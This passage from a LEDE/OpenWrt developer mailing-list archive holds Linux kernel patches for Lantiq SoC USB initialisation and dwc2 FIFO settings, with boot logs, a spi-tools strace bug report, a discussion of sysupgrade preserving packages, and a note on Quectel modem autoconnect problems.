++	.external_id_pin_ctl		= -1,
++	.hibernation			= -1,
++};
++
+ static int __dwc2_lowlevel_hw_enable(struct dwc2_hsotg *hsotg)
+ {
+ 	struct platform_device *pdev = to_platform_device(hsotg->dev);
+@@ -310,6 +341,8 @@ static int dwc2_driver_remove(struct pla
+ static const struct of_device_id dwc2_of_match_table[] = {
+ 	{ .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
+ 	{ .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
++	{ .compatible = "lantiq,arx100-usb", .data = &params_ltq },
++	{ .compatible = "lantiq,xrx200-usb", .data = &params_ltq },
+ 	{ .compatible = "snps,dwc2", .data = NULL },
+ 	{ .compatible = "samsung,s3c6400-hsotg", .data = NULL},
+ 	{},
diff --git a/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch b/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
new file mode 100644
index 0000000000..1eda4cc4f1
--- /dev/null
+++ b/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
@@ -0,0 +1,99 @@
+From de2cad82c4d0872066f83ce59462603852b47f03 Mon Sep 17 00:00:00 2001
+From: Hauke Mehrtens <hauke at hauke-m.de>
+Date: Fri, 6 Jan 2017 17:55:24 +0100
+Subject: [PATCH 2/2] usb: dwc2:  add support for other Lantiq SoCs
+
+The size of the internal RAM of the DesignWare USB controller changed
+between the different Lantiq SoCs. We have the following sizes:
+
+Amazon + Danube: 8 KByte
+Amazon SE + arx100: 2 KByte
+xrx200 + xrx300: 2.5 KByte
+
+For Danube SoC we do not provide the params and let the driver decide
+to use sane defaults, for the Amazon SE and arx100 we use small fifos
+and for the xrx200 and xrx300 SCs a little bit bigger periodic fifo.
+The auto detection of max_transfer_size and max_packet_count should
+work, so remove it.
+
+Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
+---
+ drivers/usb/dwc2/platform.c | 46 ++++++++++++++++++++++++++++++++++++++-------
+ 1 file changed, 39 insertions(+), 7 deletions(-)
+
+--- a/drivers/usb/dwc2/platform.c
++++ b/drivers/usb/dwc2/platform.c
+@@ -116,7 +116,7 @@ static const struct dwc2_core_params par
+ 	.hibernation			= -1,
+ };
+ 
+-static const struct dwc2_core_params params_ltq = {
++static const struct dwc2_core_params params_ase = {
+ 	.otg_cap			= 2,	/* non-HNP/non-SRP */
+ 	.otg_ver			= -1,
+ 	.dma_enable			= -1,
+@@ -127,8 +127,8 @@ static const struct dwc2_core_params par
+ 	.host_rx_fifo_size		= 288,	/* 288 DWORDs */
+ 	.host_nperio_tx_fifo_size	= 128,	/* 128 DWORDs */
+ 	.host_perio_tx_fifo_size	= 96,	/* 96 DWORDs */
+-	.max_transfer_size		= 65535,
+-	.max_packet_count		= 511,
++	.max_transfer_size		= -1,
++	.max_packet_count		= -1,
+ 	.host_channels			= -1,
+ 	.phy_type			= -1,
+ 	.phy_utmi_width			= -1,
+@@ -140,8 +140,37 @@ static const struct dwc2_core_params par
+ 	.host_ls_low_power_phy_clk	= -1,
+ 	.ts_dline			= -1,
+ 	.reload_ctl			= -1,
+-	.ahbcfg				= GAHBCFG_HBSTLEN_INCR16 <<
+-					  GAHBCFG_HBSTLEN_SHIFT,
++	.ahbcfg				= -1,
++	.uframe_sched			= -1,
++	.external_id_pin_ctl		= -1,
++	.hibernation			= -1,
++};
++
++static const struct dwc2_core_params params_xrx200 = {
++	.otg_cap			= 2,	/* non-HNP/non-SRP */
++	.otg_ver			= -1,
++	.dma_enable			= -1,
++	.dma_desc_enable		= -1,
++	.speed				= -1,
++	.enable_dynamic_fifo		= -1,
++	.en_multiple_tx_fifo		= -1,
++	.host_rx_fifo_size		= 288,	/* 288 DWORDs */
++	.host_nperio_tx_fifo_size	= 128,	/* 128 DWORDs */
++	.host_perio_tx_fifo_size	= 136,	/* 136 DWORDs */
++	.max_transfer_size		= -1,
++	.max_packet_count		= -1,
++	.host_channels			= -1,
++	.phy_type			= -1,
++	.phy_utmi_width			= -1,
++	.phy_ulpi_ddr			= -1,
++	.phy_ulpi_ext_vbus		= -1,
++	.i2c_enable			= -1,
++	.ulpi_fs_ls			= -1,
++	.host_support_fs_ls_low_power	= -1,
++	.host_ls_low_power_phy_clk	= -1,
++	.ts_dline			= -1,
++	.reload_ctl			= -1,
++	.ahbcfg				= -1,
+ 	.uframe_sched			= -1,
+ 	.external_id_pin_ctl		= -1,
+ 	.hibernation			= -1,
+@@ -341,8 +370,11 @@ static int dwc2_driver_remove(struct pla
+ static const struct of_device_id dwc2_of_match_table[] = {
+ 	{ .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
+ 	{ .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
+-	{ .compatible = "lantiq,arx100-usb", .data = &params_ltq },
+-	{ .compatible = "lantiq,xrx200-usb", .data = &params_ltq },
++	{ .compatible = "lantiq,danube-usb", .data = NULL },
++	{ .compatible = "lantiq,ase-usb", .data = &params_ase },
++	{ .compatible = "lantiq,arx100-usb", .data = &params_ase },
++	{ .compatible = "lantiq,xrx200-usb", .data = &params_xrx200 },
++	{ .compatible = "lantiq,xrx300-usb", .data = &params_xrx200 },
+ 	{ .compatible = "snps,dwc2", .data = NULL },
+ 	{ .compatible = "samsung,s3c6400-hsotg", .data = NULL},
+ 	{},
diff --git a/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch b/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch
new file mode 100644
index 0000000000..acc23080f1
--- /dev/null
+++ b/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch
@@ -0,0 +1,202 @@
+From 14909c4e4e836925668e74fc6e0e85ba0283cbf9 Mon Sep 17 00:00:00 2001
+From: Hauke Mehrtens <hauke at hauke-m.de>
+Date: Fri, 6 Jan 2017 17:40:12 +0100
+Subject: [PATCH 2/2] MIPS: lantiq: improve USB initialization
+
+This adds code to initialize the USB controller and PHY also on Danube,
+Amazon SE and AR10. This code is based on the Vendor driver from
+different UGW versions and compared to the hardware documentation.
+
+Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
+---
+ arch/mips/lantiq/xway/reset.c   | 120 ++++++++++++++++++++++++++++++----------
+ arch/mips/lantiq/xway/sysctrl.c |  20 +++++++
+ 2 files changed, 110 insertions(+), 30 deletions(-)
+
+--- a/arch/mips/lantiq/xway/reset.c
++++ b/arch/mips/lantiq/xway/reset.c
+@@ -72,6 +72,8 @@
+ #define RCU_USBCFG_HDSEL_BIT	BIT(11)
+ #define RCU_USBCFG_HOST_END_BIT	BIT(10)
+ #define RCU_USBCFG_SLV_END_BIT	BIT(9)
++#define RCU_USBCFG_SLV_END_BIT_AR9	BIT(17)
++
+ 
+ /* USB reset bits */
+ #define RCU_USBRESET		0x0010
+@@ -85,6 +87,8 @@
+ 
+ #define RCU_CFG1A		0x0038
+ #define RCU_CFG1B		0x003C
++#define  RCU_CFG1_TX_PEE	BIT(0)
++#define  RCU_CFG1_DIS_THR_SHIFT	15 /* Disconnect Threshold */	
+ 
+ /* USB PMU devices */
+ #define PMU_AHBM		BIT(15)
+@@ -306,38 +310,91 @@ static void ltq_usb_init(void)
+ 	/* Power for USB cores 1 & 2 */
+ 	ltq_pmu_enable(PMU_AHBM);
+ 	ltq_pmu_enable(PMU_USB0);
+-	ltq_pmu_enable(PMU_USB1);
+ 
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1A) | BIT(0), RCU_CFG1A);
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1B) | BIT(0), RCU_CFG1B);
++	if (of_machine_is_compatible("lantiq,ar10") ||
++	    of_machine_is_compatible("lantiq,grx390") ||
++	    of_machine_is_compatible("lantiq,ar9") ||
++	    of_machine_is_compatible("lantiq,vr9"))
++		ltq_pmu_enable(PMU_USB1);
++
++	if (of_machine_is_compatible("lantiq,vr9") ||
++	    of_machine_is_compatible("lantiq,ar10")) {
++		ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1A) | RCU_CFG1_TX_PEE |
++			    7 << RCU_CFG1_DIS_THR_SHIFT, RCU_CFG1A);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1B) | RCU_CFG1_TX_PEE |
++			    7 << RCU_CFG1_DIS_THR_SHIFT, RCU_CFG1B);
++	}
+ 
+ 	/* Enable USB PHY power for cores 1 & 2 */
+ 	ltq_pmu_enable(PMU_USB0_P);
+-	ltq_pmu_enable(PMU_USB1_P);
++	if (of_machine_is_compatible("lantiq,ar10") ||
++	    of_machine_is_compatible("lantiq,grx390") ||
++	    of_machine_is_compatible("lantiq,ar9") ||
++	    of_machine_is_compatible("lantiq,vr9"))
++		ltq_pmu_enable(PMU_USB1_P);
++
++	if (of_machine_is_compatible("lantiq,ase") ||
++	    of_machine_is_compatible("lantiq,danube")) {
++		/* Configure cores to host mode */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
++			RCU_USB1CFG);
++
++		/* Select DMA endianness (Host-endian: big-endian) */
++		ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
++			| RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
++	}
++
++	if (of_machine_is_compatible("lantiq,ar9")) {
++		/* Configure cores to host mode */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
++			RCU_USB1CFG);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
++			RCU_USB2CFG);
++
++		/* Select DMA endianness (Host-endian: big-endian) */
++		ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT_AR9)
++			| RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
++		ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT_AR9)
++			| RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
++	}
++
++	if (of_machine_is_compatible("lantiq,vr9") ||
++	    of_machine_is_compatible("lantiq,ar10")) {
++		/* Configure cores to host mode */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
++			RCU_USB1CFG);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
++			RCU_USB2CFG);
++
++		/* Select DMA endianness (Host-endian: big-endian) */
++		ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
++			| RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
++		ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT)
++			| RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
++	}
++
++	if (of_machine_is_compatible("lantiq,ar9")) {
++		/* Hard reset USB state machines */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET)
++			   | USBRESET_BIT | BIT(28), RCU_USBRESET);
++		udelay(50 * 1000);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET)
++			    & ~(USBRESET_BIT | BIT(28)), RCU_USBRESET);
++	} else {
++		/* Hard reset USB state machines */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) | USBRESET_BIT, RCU_USBRESET);
++		udelay(50 * 1000);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) & ~USBRESET_BIT, RCU_USBRESET);
++	}
+ 
+-	/* Configure cores to host mode */
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
+-		RCU_USB1CFG);
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
+-		RCU_USB2CFG);
+-
+-	/* Select DMA endianness (Host-endian: big-endian) */
+-	ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
+-		| RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
+-	ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT)
+-		| RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
+-
+-	/* Hard reset USB state machines */
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) | USBRESET_BIT, RCU_USBRESET);
+-	udelay(50 * 1000);
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) & ~USBRESET_BIT, RCU_USBRESET);
+-
+-	/* Soft reset USB state machines */
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
+-		| USB1RESET_BIT | USB2RESET_BIT, RCU_USBRESET2);
+-	udelay(50 * 1000);
+-	ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
+-		& ~(USB1RESET_BIT | USB2RESET_BIT), RCU_USBRESET2);
++	if (of_machine_is_compatible("lantiq,vr9")) {
++		/* Soft reset USB state machines */
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
++			| USB1RESET_BIT | USB2RESET_BIT, RCU_USBRESET2);
++		udelay(50 * 1000);
++		ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
++			& ~(USB1RESET_BIT | USB2RESET_BIT), RCU_USBRESET2);
++	}
+ }
+ 
+ static int __init mips_reboot_setup(void)
+@@ -363,8 +420,11 @@ static int __init mips_reboot_setup(void
+ 	if (!ltq_rcu_membase)
+ 		panic("Failed to remap core memory");
+ 
+-	if (of_machine_is_compatible("lantiq,ar9") ||
+-	    of_machine_is_compatible("lantiq,vr9"))
++	if (of_machine_is_compatible("lantiq,danube") ||
++	    of_machine_is_compatible("lantiq,ase") ||
++	    of_machine_is_compatible("lantiq,ar9") ||
++	    of_machine_is_compatible("lantiq,vr9") ||
++	    of_machine_is_compatible("lantiq,ar10"))
+ 		ltq_usb_init();
+ 
+ 	if (of_machine_is_compatible("lantiq,vr9"))
+--- a/arch/mips/lantiq/xway/sysctrl.c
++++ b/arch/mips/lantiq/xway/sysctrl.c
+@@ -254,6 +254,25 @@ static void pmu_disable(struct clk *clk)
+ 		pr_warn("deactivating PMU module failed!");
+ }
+ 
++static void usb_set_clock(void)
++{
++	unsigned int val = ltq_cgu_r32(ifccr);
++
++	if (of_machine_is_compatible("lantiq,ar10") ||
++	    of_machine_is_compatible("lantiq,grx390")) {
++		val &= ~0x03; /* XTAL divided by 3 */
++	} else if (of_machine_is_compatible("lantiq,ar9") ||
++		   of_machine_is_compatible("lantiq,vr9")) {
++		/* TODO: this depends on the XTAL frequency */
++		val |= 0x03; /* XTAL divided by 3 */
++	} else if (of_machine_is_compatible("lantiq,ase")) {
++		val |= 0x20; /* from XTAL */
++	} else if (of_machine_is_compatible("lantiq,danube")) {
++		val |= 0x30; /* 12 MHz, generated from 36 MHz */
++	}
++	ltq_cgu_w32(val, ifccr);
++}
++
+ /* the pci enable helper */
+ static int pci_enable(struct clk *clk)
+ {
+@@ -608,4 +627,5 @@ void __init ltq_soc_init(void)
+ 
+ 	if (of_machine_is_compatible("lantiq,vr9"))
+ 		xbar_fpi_burst_disable();
++	usb_set_clock();
+ }
diff --git a/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch b/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
index 227d1cf25a..e42aaf9c07 100644
--- a/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
+++ b/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
@@ -1,6 +1,6 @@
 --- a/arch/mips/lantiq/xway/sysctrl.c
 +++ b/arch/mips/lantiq/xway/sysctrl.c
-@@ -423,6 +423,20 @@ static void clkdev_add_clkout(void)
+@@ -442,6 +442,20 @@ static void clkdev_add_clkout(void)
  	}
  }
  
@@ -21,10 +21,10 @@
  /* bring up all register ranges that we need for basic system control */
  void __init ltq_soc_init(void)
  {
-@@ -608,4 +622,6 @@ void __init ltq_soc_init(void)
- 
+@@ -628,4 +642,6 @@ void __init ltq_soc_init(void)
  	if (of_machine_is_compatible("lantiq,vr9"))
  		xbar_fpi_burst_disable();
+ 	usb_set_clock();
 +
 +	set_phy_clock_source(np_cgu);
  }
-- 
2.11.0



From hauke at hauke-m.de  Sat Jan  7 10:51:05 2017
From: hauke at hauke-m.de (Hauke Mehrtens)
Date: Sat, 7 Jan 2017 19:51:05 +0100
Subject: [LEDE-DEV] [PATCH v2] lantiq: update USB controller handling
In-Reply-To: <20170107182904.30476-1-hauke@hauke-m.de>
References: <20170107182904.30476-1-hauke@hauke-m.de>
Message-ID: <a4534f31-5de7-eb0c-570a-c11b983033a1@hauke-m.de>

On 01/07/2017 07:29 PM, Hauke Mehrtens wrote:
> This adds USB initialization fixes for Danube, Amazon SE and xrx300 and
> should fix the clock on at least Danube which hopefully fixes FS#351.
> 
> The xrx200 usb driver now uses more memory for the dwc2 fifos, this was
> increased in the chip compared to ar9.
> 
> This is based on the vendor documentation and the vendor Code base.
> 
> Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
> ---
> 
> If some of these dwc2 values should be changed, please suggest changes, 
> I am not an expert on this.
> This was only tested on vrx200 devices not on any other SoC, please 
> test and report back, I would like to get this into the next release 
> and then clean it up and send it upstream.

My USB flash drive was not fully detected when I had it plugged in at
boot up, when I unplugged and plugged it in again it worked without
problems.

The dwc2 driver uses GAHBCFG_HBSTLEN_INCR4 by default, what are the
differences compared to GAHBCFG_HBSTLEN_INCR16?

Hauke


From hauke at hauke-m.de  Sat Jan  7 12:11:24 2017
From: hauke at hauke-m.de (Hauke Mehrtens)
Date: Sat, 7 Jan 2017 21:11:24 +0100
Subject: [LEDE-DEV] [PATCH v2] lantiq: update USB controller handling
In-Reply-To: <a4534f31-5de7-eb0c-570a-c11b983033a1@hauke-m.de>
References: <20170107182904.30476-1-hauke@hauke-m.de>
 <a4534f31-5de7-eb0c-570a-c11b983033a1@hauke-m.de>
Message-ID: <9f3f1a0a-5749-01c3-3084-eeb349d509df@hauke-m.de>

On 01/07/2017 07:51 PM, Hauke Mehrtens wrote:
> On 01/07/2017 07:29 PM, Hauke Mehrtens wrote:
>> This adds USB initialization fixes for Danube, Amazon SE and xrx300 and
>> should fix the clock on at least Danube which hopefully fixes FS#351.
>>
>> The xrx200 usb driver now uses more memory for the dwc2 fifos, this was
>> increased in the chip compared to ar9.
>>
>> This is based on the vendor documentation and the vendor Code base.
>>
>> Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
>> ---
>>
>> If some of these dwc2 values should be changed, please suggest changes, 
>> I am not an expert on this.
>> This was only tested on vrx200 devices not on any other SoC, please 
>> test and report back, I would like to get this into the next release 
>> and then clean it up and send it upstream.
> 
> My USB flash drive was not fully detected when I had it plugged in at
> boot up, when I unplugged and plugged it in again it worked without
> problems.

here is the log:
[    5.148038] SCSI subsystem initialized
[    5.159235] dwc2 1e101000.ifxhcd: requested GPIO 495
[    6.017482] dwc2 1e101000.ifxhcd: DWC OTG Controller
[    6.021075] dwc2 1e101000.ifxhcd: new USB bus registered, assigned
bus number 1
[    6.028402] dwc2 1e101000.ifxhcd: irq 62, io mem 0x00000000
[    6.033917] dwc2 1e101000.ifxhcd: Hardware does not support
descriptor DMA mode -
[    6.041357] dwc2 1e101000.ifxhcd: falling back to buffer DMA mode.
[    6.048833] hub 1-0:1.0: USB hub found
[    6.051826] hub 1-0:1.0: 1 port detected
[    6.433313] usb 1-1: new high-speed USB device number 2 using dwc2
[    6.917479] dwc2 1e106000.ifxhcd: DWC OTG Controller
[    6.921057] dwc2 1e106000.ifxhcd: new USB bus registered, assigned
bus number 2
[    6.928418] dwc2 1e106000.ifxhcd: irq 91, io mem 0x00000000
[    6.933920] dwc2 1e106000.ifxhcd: Hardware does not support
descriptor DMA mode -
[    6.941360] dwc2 1e106000.ifxhcd: falling back to buffer DMA mode.
[    6.948816] hub 2-0:1.0: USB hub found
[    6.951833] hub 2-0:1.0: 1 port detected
[    6.959806] usb-storage 1-1:1.0: USB Mass Storage device detected
[    6.965428] scsi host0: usb-storage 1-1:1.0
[    6.969230] usbcore: registered new interface driver usb-storage
[    6.985406] init: - preinit -
Press the [f] key and hit [enter] to enter failsafe mode
Press the [1], [2], [3] or [4] key and hit [enter] to select the debug level
[    7.333301] usb 2-1: new full-speed USB device number 2 using dwc2
[    7.677418] eth0: port 0 got link
[    7.966202] scsi 0:0:0:0: Direct-Access     SMI      USB MEMORY BAR
1000 PQ: 0 ANSI: 5
[    7.977478] sd 0:0:0:0: [sda] Attached SCSI removable disk

.......
<unplug and plug the USB drive>

[   26.285438] usb 1-1: USB disconnect, device number 2
[   30.313320] usb 1-1: new high-speed USB device number 3 using dwc2
[   30.520949] usb-storage 1-1:1.0: USB Mass Storage device detected
[   30.537351] scsi host1: usb-storage 1-1:1.0
[   31.726008] scsi 1:0:0:0: Direct-Access     SMI      USB DISK
1100 PQ: 0 ANSI: 4
[   31.737325] sd 1:0:0:0: [sda] 15974400 512-byte logical blocks: (8.18
GB/7.62 GiB)
[   31.749355] sd 1:0:0:0: [sda] Write Protect is off
[   31.757405] sd 1:0:0:0: [sda] Write cache: enabled, read cache:
enabled, doesn't support DPO or FUA
[   31.783703]  sda: sda1
[   31.791169] sd 1:0:0:0: [sda] Attached SCSI removable disk


The USB device is detected correctly at bootup with a probability of
40%, when I plug it in later it is detected correctly every time.

Hauke


From giu.lippolis at gmail.com  Sat Jan  7 13:31:34 2017
From: giu.lippolis at gmail.com (Giuseppe Lippolis)
Date: Sat, 7 Jan 2017 22:31:34 +0100
Subject: [LEDE-DEV] spi-tools failure
Message-ID: <003901d2692d$6c17a760$4446f620$@gmail.com>

I'm trying to use spi-tools on the current LEDE snapshot, but it fails at
runtime:

root at lede:~# echo -n -e '\x80' | spi-pipe -d /dev/spidev1.0 | hexdump
SPI_IOC_MESSAGE: Invalid argument

root at lede:/tmp# strace echo -n -e '\x80' | spi-pipe -d /dev/spidev1.0 |
hexdump
execve("/bin/echo", ["echo", "-n", "-e", "\\x80"], [/* 14 vars */]) = 0
set_thread_area(0x77615e50)             = 0
set_tid_address(0x7760ed90)             = 1139
open("/etc/ld-musl-mipsel-sf.path", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1
ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
fcntl64(3, F_SETFD, FD_CLOEXEC)         = 0
fstat64(3, {st_mode=S_IFREG|0644, st_size=76975, ...}) = 0
read(3,
"\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\10\0\1\0\0\0\20(\0\0004\0\0\0"..., 936)
= 936
mmap2(NULL, 143360, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x77548000
mmap2(0x7756a000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x12000) = 0x7756a000
close(3)                                = 0
getuid()                                = 0
write(1, "\200", 1SPI_IOC_MESSAGE: Invalid argument
)                     = 1
exit_group(0)                           = ?
+++ exited with 0 +++

root at lede:/tmp# spi-pipe -v
spi-pipe - cc6a41fdcec60610703ba6db488c621c64952898

root at lede:~# uname -a
Linux lede 4.4.39 #0 Thu Dec 22 16:02:42 2016 mips GNU/Linux

Can someone confirm the problem and/or suggest a solution?
Thanks, Bye.




From giu.lippolis at gmail.com  Sat Jan  7 13:40:54 2017
From: giu.lippolis at gmail.com (Giuseppe Lippolis)
Date: Sat, 7 Jan 2017 22:40:54 +0100
Subject: [LEDE-DEV] spi-tools failure
Message-ID: <003f01d2692e$b9e96ae0$2dbc40a0$@gmail.com>

Here the report using a different command:

root at lede:/tmp# spi-pipe -d /dev/spidev1.0 -b 4 -n 40 < /dev/zero
SPI_IOC_MESSAGE: Invalid argument

root at lede:/tmp# strace spi-pipe -d /dev/spidev1.0 -b 4 -n 40 < /dev/zero
execve("/usr/bin/spi-pipe", ["spi-pipe", "-d", "/dev/spidev1.0", "-b", "4",
"-n", "40"], [/* 14 vars */]) = 0
set_thread_area(0x778a2e50)             = 0
set_tid_address(0x7789bd90)             = 1152
open("/etc/ld-musl-mipsel-sf.path", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1
ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
fcntl64(3, F_SETFD, FD_CLOEXEC)         = 0
fstat64(3, {st_mode=S_IFREG|0644, st_size=76975, ...}) = 0
read(3,
"\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\10\0\1\0\0\0\20(\0\0004\0\0\0"..., 936)
= 936
mmap2(NULL, 143360, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x777d5000
mmap2(0x777f7000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x12000) = 0x777f7000
close(3)                                = 0
mprotect(0x411000, 4096, PROT_READ)     = 0
open("/dev/spidev1.0", O_RDONLY|O_LARGEFILE) = 3
read(0, "\0\0\0\0", 4)                  = 4
ioctl(3, SPI_IOC_MESSAGE(32), 0x7fef0aa8) = -1 EINVAL (Invalid argument)
writev(2, [{iov_base="", iov_len=0}, {iov_base="SPI_IOC_MESSAGE",
iov_len=15}], 2SPI_IOC_MESSAGE) = 15
writev(2, [{iov_base="", iov_len=0}, {iov_base=":", iov_len=1}], 2:) = 1
writev(2, [{iov_base="", iov_len=0}, {iov_base=" ", iov_len=1}], 2 ) = 1
writev(2, [{iov_base="", iov_len=0}, {iov_base="Invalid argument",
iov_len=16}], 2Invalid argument) = 16
writev(2, [{iov_base="", iov_len=0}, {iov_base="\n", iov_len=1}], 2
) = 1
exit_group(1)                           = ?
+++ exited with 1 +++

Bye.



From mkroken at gmail.com  Sat Jan  7 14:31:01 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Sat, 7 Jan 2017 23:31:01 +0100
Subject: [LEDE-DEV] how to make sysupgrade not drop user-installed
 packages
In-Reply-To: <20170107180428.GA29356@ugly>
References: <20170107180428.GA29356@ugly>
Message-ID: <a8430d30-92cc-e398-5ef0-f92d5c0e96c3@gmail.com>

Hi Oswald

On 07.01.2017 19.04, Oswald Buddenhagen wrote:
> the idea would be to simply dump the list of user-installed packages into
> a config file which is preserved by sysupgrade. now, firstboot would see
> that file and start opgk with it - that's usually going to just work, as
> the network configuration is preserved as well. on top of that, luci
> could offer a button in the software manager to manually trigger the
> process in case the fully automated restoration didn't work out.

1. This relies on all packages and kernel modules needed to connect to 
the internet being part of the image. Users using DHCP will be fine 
(PPPoE as well I think), but users that need e.g. L2TP support to 
connect to their ISP (common in certain countries) will need to build a 
custom image to add L2TP support. More specialised setups using mobile 
broadband or one of the many mesh network protocols may also need a 
custom image. If you need a custom image, you might as well put all your 
packages in it to save space.

2. If you do build a custom image without all your packages, packages 
you download from LEDE servers may be incompatible for various reasons - 
kernel version, library versions, compile-time defined options and so on.

> scripts for doing just that have been posted years ago, so i'm wondering
> why such a mechanism wasn't integrated upstream. am i missing something,
> or did just nobody think it important enough to do?

As mentioned above, there are many kinds of internet connections where 
the default package selection won't provide internet access. Since you 
can't remove files/packages from SquashFS (in the image), the default 
packages should be limited to what is useful and necessary to almost 
everyone - otherwise everyone would have lots of useless packages in 
their image that take up valuable space (and devices with 4MB flash 
would be unsupported).

> of course, this immediately prompts the next question: why doesn't
> luci's flash operations page have an auto-download option for the
> sysupgrade image? the locations of the package feeds are also inside the
> image, and automating the integrity check isn't rocket science, either.

There have been recent discussions about a web interface to the image 
builder, based on or similar to Meshkit by Freifunk [1]. LuCI/sysupgrade 
could add a feature to connect to this service, submit a list of 
installed packages and other needed information, and automatically 
download an image built with these packages.

[1] https://meshkit.freifunk.net/

Regards,
/Magnus


From ynezz at true.cz  Sat Jan  7 15:44:22 2017
From: ynezz at true.cz (Petr =?iso-8859-2?Q?=A9tetiar?=)
Date: Sun, 8 Jan 2017 00:44:22 +0100
Subject: [LEDE-DEV] Quectel EC20 QMI autoconnect issues [Was:
	Re:	[LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]
In-Reply-To: <20161212090659.GJ17320@ibawizard.net>
References: <1481174095-15924-1-git-send-email-nledovskikh@gmail.com>
 <8213c300-b7ef-510b-47e8-8ad586be3f7b@elisanet.fi>
 <20161208140412.GC17320@ibawizard.net> <877f7asbft.fsf@miraculix.mork.no>
 <55ad4118-bfc9-8101-f239-bdb1c15c58b7@elisanet.fi>
 <20161209092741.GA17038@ibawizard.net>
 <c5b5265a-d683-53d6-9472-4f7df1e335ab@elisanet.fi>
 <20161212065227.GG17320@ibawizard.net>
 <590700de-9e90-2548-3ef4-a9e8a4bd1da7@elisanet.fi>
 <20161212090659.GJ17320@ibawizard.net>
Message-ID: <20170107234422.GB5048@ibawizard.net>

Petr ?tetiar <ynezz at true.cz> [2016-12-12 10:06:59]:

> I'm going to ask Quectel about this issue and will share the results.

So it ended with the following result: "I raceived the additional informations
that it?s not well to use autoconnect feature on EC20 and EC25. R&D will work
to solve this, but it can take too much time. Is it possible for you to use it
without autoconnect?"

And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which makes a
lot of things crystal clear :-)

-- ynezz


